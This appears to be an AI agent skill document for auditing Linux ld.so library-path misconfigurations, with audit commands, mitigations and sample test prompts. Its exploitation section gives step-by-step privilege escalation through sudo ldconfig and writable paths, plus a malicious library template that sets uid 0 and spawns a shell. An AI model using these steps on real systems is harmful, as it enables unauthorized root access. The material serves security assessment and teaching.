Ldso Privesc Checker

ld.so Privilege Escalation Checker

A skill for identifying and analyzing ld.so library path vulnerabilities that could lead to privilege escalation on Linux systems.

What this skill does

This skill helps you:

• Audit /etc/ld.so.conf and /etc/ld.so.conf.d/ for writable paths
• Identify shared library dependencies in binaries
• Check for ldconfig sudo privileges that could be abused
• Understand the attack vectors and mitigation strategies

When to use this skill

Use this skill when:

• You're doing a Linux privilege escalation assessment
• You want to check if a system is vulnerable to library injection attacks
• You're analyzing shared library dependencies
• You need to understand ld.so configuration security
• You're working on CTF challenges involving library path vulnerabilities

Quick Start

# Check for vulnerable ld.so configurations
python scripts/check_ldso_vulns.py

# Analyze a specific binary's library dependencies
python scripts/check_ldso_vulns.py --binary /path/to/binary

# Check if ldconfig is exploitable via sudo
python scripts/check_ldso_vulns.py --check-ldconfig-sudo

Understanding the Vulnerability

How ld.so Works

The dynamic linker (ld.so) loads shared libraries when executables run. It searches for libraries in this order:

1. Paths specified in the binary's RPATH/RUNPATH
2. /etc/ld.so.cache (generated by ldconfig)
3. /etc/ld.so.conf and files in /etc/ld.so.conf.d/
4. /lib and /usr/lib

The Attack Vector

If an attacker can:

1. Write to a path listed in /etc/ld.so.conf or /etc/ld.so.conf.d/
2. Create a malicious library with the same name as one a privileged binary loads
3. Trigger the binary execution by a privileged user (or have ldconfig sudo access)

Then they can achieve privilege escalation.

Common Misconfigurations

Using the Check Script

The check_ldso_vulns.py script performs several checks:

1. Configuration File Analysis

python scripts/check_ldso_vulns.py

This checks:

• /etc/ld.so.conf for writable paths
• All files in /etc/ld.so.conf.d/ for writable paths
• Whether paths are owned by root
• Whether paths are world-writable

2. Binary Dependency Analysis

python scripts/check_ldso_vulns.py --binary /usr/bin/somebinary

This shows:

• Which libraries the binary loads
• Where each library is loaded from
• Whether any libraries come from potentially writable paths

3. ldconfig Sudo Check

python scripts/check_ldso_vulns.py --check-ldconfig-sudo

This checks if you can run ldconfig with sudo privileges, which would allow you to:

• Reload the library cache with custom configurations
• Force loading from arbitrary paths

Manual Verification Steps

Step 1: Check ld.so Configuration

# View main config
cat /etc/ld.so.conf

# View all config files
ls -la /etc/ld.so.conf.d/
cat /etc/ld.so.conf.d/*

# Check which paths are writable
for path in $(cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null | grep -v '^#' | grep -v '^$'); do
    if [ -d "$path" ]; then
        echo "Checking: $path"
        ls -ld "$path"
    fi
done

Step 2: Check Library Loading

# See where a binary loads libraries from
ldd /path/to/binary

# Check if library comes from suspicious path
ldd /path/to/binary | grep -E '/tmp|/home|/var/tmp'

Step 3: Check ldconfig Privileges

# Check if you can run ldconfig as sudo
sudo -l | grep ldconfig

# Check if ldconfig has SUID bit
ls -la /sbin/ldconfig

Exploitation Scenarios

Scenario 1: Writable Path in Config

Condition: A path in /etc/ld.so.conf.d/ is writable by your user.

Exploitation:

# 1. Find the vulnerable path
# 2. Create malicious library
cd /vulnerable/path
gcc -shared -o libvuln.so -fPIC malicious.c

# 3. Wait for ldconfig to run (reboot, or if you have sudo access)
sudo ldconfig

# 4. Trigger the vulnerable binary
/path/to/vulnerable_binary

Scenario 2: ldconfig Sudo Access

Condition: You can run ldconfig with sudo.

Exploitation:

# 1. Create fake config in writable location
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
mkdir -p conf
echo "/tmp" > conf/evil.conf

# 2. Create malicious library
gcc -shared -o libcustom.so -fPIC malicious.c

# 3. Load the fake config with sudo
sudo ldconfig -f fake.ld.so.conf

# 4. Trigger the vulnerable binary
/path/to/vulnerable_binary

Malicious Library Template

For educational/CTF purposes, here's a basic template:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void target_function() {
    setuid(0);
    setgid(0);
    printf("Privilege escalation attempt!\n");
    system("/bin/sh");
}

Compile with:

gcc -shared -o libtarget.so -fPIC malicious.c

Mitigation Strategies

For System Administrators

1. Audit ld.so configurations regularly

   grep -r '/tmp\|/home\|/var/tmp' /etc/ld.so.conf /etc/ld.so.conf.d/
   

2. Ensure config files are root-owned and not writable

   chmod 644 /etc/ld.so.conf
   chmod 644 /etc/ld.so.conf.d/*
   chown root:root /etc/ld.so.conf /etc/ld.so.conf.d/*
   

3. Restrict ldconfig sudo access

   # In sudoers, be explicit about what users can run
   # Avoid giving blanket ldconfig access
   

4. Use RPATH/RUNPATH carefully

   • Avoid setting RPATH to writable locations
   • Prefer absolute paths for critical libraries

For Security Auditors

1. Include ld.so checks in privilege escalation assessments
2. Check for recently modified config files
3. Look for non-standard library paths
4. Verify library ownership and permissions

Test Cases

Test Case 1: Basic Configuration Check

Prompt: "Check if this system has any ld.so configuration vulnerabilities"

Expected: Script runs and reports any writable paths in ld.so configuration

Test Case 2: Binary Analysis

Prompt: "Analyze /usr/bin/vim for library path vulnerabilities"

Expected: Script shows all libraries vim loads and their source paths

Test Case 3: ldconfig Sudo Check

Prompt: "Can I exploit ldconfig for privilege escalation?"

Expected: Script checks sudoers for ldconfig access and reports findings

References

• ld.so(8) man page
• ldconfig(8) man page
• Linux Privilege Escalation - ld.so

Notes

• This skill is for educational and authorized security testing purposes only
• Always have proper authorization before testing systems
• Some checks require root privileges to run fully
• The vulnerability requires specific conditions to be exploitable
• Modern systems often have additional protections (SELinux, AppArmor, etc.)